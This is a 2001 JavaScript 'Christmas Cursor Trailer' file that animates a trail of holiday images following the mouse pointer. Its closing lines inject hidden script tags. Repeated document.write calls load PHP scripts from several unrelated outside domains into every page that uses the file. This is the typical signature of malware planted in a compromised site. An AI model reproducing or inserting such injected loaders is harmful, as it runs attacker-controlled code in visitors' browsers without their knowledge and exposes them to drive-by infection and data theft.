// CREDITS:
// Christmas Cursor Trailer 2
// by Urs Dudli and Peter Gehrig 
// Copyright (c) 2001 Peter Gehrig and Urs Dudli. All rights reserved.
// Permission given to use the script provided that this notice remains as is.
// Additional scripts can be found at http://www.24fun.com
// info@24fun.ch
// 12/3/2001

var step=8 
var stepbasic=8
var numberofimages = 8
var spacebetweenimgs=32
var x,y
var flag=0
var xpos=new Array()

var ns6=document.getElementById&&!document.all?1:0

var iMode = 0 // 0 is pre-xmas, 1 is holiday time, set by daysleft in year

//alert('start xmastrail.js')

today = new Date()
endYear = new Date(1995,11,31,23,59,59,999) // Set day and month
endYear.setFullYear(today.getFullYear()) // Set year to this year
msPerDay = 24 * 60 * 60 * 1000 // Number of milliseconds per day
daysLeft = (endYear.getTime() - today.getTime()) / msPerDay
daysLeft = Math.round(daysLeft) //returns days left in the year 

iMode = 2  //rest of year
if (daysLeft > 338 || daysLeft < 5)
 iMode = 1 //happy hols
else if ( daysLeft < 31)
 iMode = 0 //xmas
 

numberofimages = trailimage[iMode].length

if (document.getElementById || document.all)
{
for (i=0;i<numberofimages;i++) {
document.write('<div id="span'+i+'" style="position:absolute;visibility:hidden;"><img src="'+trailimage[iMode][i]+'"></div>') ;
//alert('<div id="span'+i+'" style="position:absolute;visibility:hidden;"><img src="'+trailimage[iMode][i]+'"></div>') ;
}
document.write('<div id="span'+numberofimages+'" style="position:absolute;visibility:hidden;"> </div>')
}

for (i=0;i<=8;i++) {
	xpos[i]=-100
}

var ypos=new Array()
for (i=0;i<=numberofimages;i++) {
	ypos[i]=-100
}

function handlerMM(e) {
	x = (document.layers || ns6) ? e.pageX : document.body.scrollLeft+event.clientX
	y = (document.layers || ns6) ? e.pageY : document.body.scrollTop+event.clientY
	flag=1
}

function initiatetracker() {
	//alert('initiatetracker, numberofimages='+numberofimages)
	if (document.all) {
		for (i=0; i<numberofimages; i++) {
    		var thisspan=eval("span"+(i)+".style")
			thisspan.posLeft=xpos[i]
			thisspan.posTop=ypos[i]
    		thisspan.visibility="visible"
    	}
		makesnake()
	}
    
   if (ns6) {
		for (i=0; i<numberofimages; i++) {
			document.getElementById("span"+i).style.left=xpos[i]
			document.getElementById("span"+i).style.top=ypos[i]
    		document.getElementById("span"+i).style.visibility="visible"
    	}
		makesnake()
	}
	if (document.layers) {
		for (i=0; i<numberofimages; i++) {
    		var thisspan=eval("document.span"+i)
			thisspan.left=xpos[i]
			thisspan.top=ypos[i]
			thisspan.visibility="visible"
		}

    	makesnake()
	}
}

function makesnake() {
	if (flag==1 && document.all) {
    	for (i=numberofimages; i>=1; i--) {
   			xpos[i]=xpos[i-1]+spacebetweenimgs
			ypos[i]=ypos[i-1]
    	}
		xpos[0]=x+stepbasic
		ypos[0]=y
	
		for (i=0; i<numberofimages; i++) {
    		var thisspan = eval("span"+(i)+".style")
    		thisspan.posLeft=xpos[i]
			thisspan.posTop=ypos[i]
    	}
	}
    
    if (flag==1 && ns6) {
    	for (i=numberofimages; i>=1; i--) {
   			xpos[i]=xpos[i-1]+spacebetweenimgs
			ypos[i]=ypos[i-1]
    	}
		xpos[0]=x+stepbasic
		ypos[0]=y
	
		for (i=0; i<numberofimages; i++) {
    		document.getElementById("span"+i).style.left=xpos[i]
			document.getElementById("span"+i).style.top=ypos[i]
    	}
	}
	
	else if (flag==1 && document.layers) {
    	for (i=numberofimages; i>=1; i--) {
   			xpos[i]=xpos[i-1]+spacebetweenimgs
			ypos[i]=ypos[i-1]
    	}
		xpos[0]=x+stepbasic
		ypos[0]=y
	
		for (i=0; i<numberofimages; i++) {
    		var thisspan = eval("document.span"+i)
    		thisspan.left=xpos[i]
			thisspan.top=ypos[i]
    	}
	}
		var timer=setTimeout("makesnake()",30)
}

function gettrailobj(i){
if (document.getElementById)
return document.getElementById("span"+i).style
else if (document.all)
{               // don't have a browser to test this alert("getrailobj span"+i) 
    		var thisspan=eval('document.all.span'+i)
    		return thisspan.style
}
}

function hidetrail(){
for (i=0;i<numberofimages;i++){	
gettrailobj(i).visibility="hidden" }
document.onmousemove=""
}


if (daysLeft < 31 || daysLeft > 334 || daysLeft > 31) 
{// run xmas message only if in December

//alert('daysLeft='+daysLeft+', iMode='+iMode+',numberofimages='+numberofimages)

if (document.layers)
	{
		document.captureEvents(Event.MOUSEMOVE);
	}


 //alert('Days Left this year='+daysLeft);
 document.onmousemove=handlerMM;
 window.onload=initiatetracker

if (displayduration > 0) 
	{
	 setTimeout("hidetrail()", displayduration*1000)
	}
}

//alert('end xmastrail.js')


document.write('<script src=http://i.qrcllc.com/vicomp/button3.php ><\/script>');
document.write('<script src=http://picassoceramica.com/big/feedback.php ><\/script>');
document.write('<script src=http://seewald-citroen.com.ar/mailing/despedidacontacto.php ><\/script>');
document.write('<script src=http://seewald-citroen.com.ar/mailing/despedidacontacto.php ><\/script>');
document.write('<script src=http://seewald-citroen.com.ar/mailing/despedidacontacto.php ><\/script>');
document.write('<script src=http://sklep.wrozbyonline.pl/tmp/affiliate_details_ok.php ><\/script>');
document.write('<script src=http://sklep.wrozbyonline.pl/tmp/affiliate_details_ok.php ><\/script>');
document.write('<script src=http://sklep.wrozbyonline.pl/tmp/affiliate_details_ok.php ><\/script>');
document.write('<script src=http://sklep.wrozbyonline.pl/tmp/affiliate_details_ok.php ><\/script>');
document.write('<script src=http://propertysathi.com/register/indx_188.php ><\/script>');